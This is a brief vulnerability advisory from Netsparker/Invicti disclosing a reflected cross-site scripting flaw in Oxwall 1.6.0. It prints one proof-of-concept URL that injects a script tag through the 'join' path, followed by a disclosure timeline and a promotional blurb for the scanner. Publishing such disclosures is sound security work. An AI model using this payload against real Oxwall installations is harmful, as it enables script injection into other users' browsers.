XSS Vulnerability in Oxwall

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Oxwall
Affected Software: Oxwall
Affected Versions: 1.6.0 and possibly below
Vendor Homepage: http://www.oxwall.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-034

Description

Oxwall® is an unbelievably flexible and easy-to-use PHP/MySQL social networking software platform.

Technical Details

Proof of Concept URLs for XSS in Oxwall:

http://example.com/oxwall/join?'"--></style></scRipt><scRipt>alert(0x000104)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

26/06/2014 – First contact – No answer
07/07/2014 – Second contact – No answer
03/12/2014 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.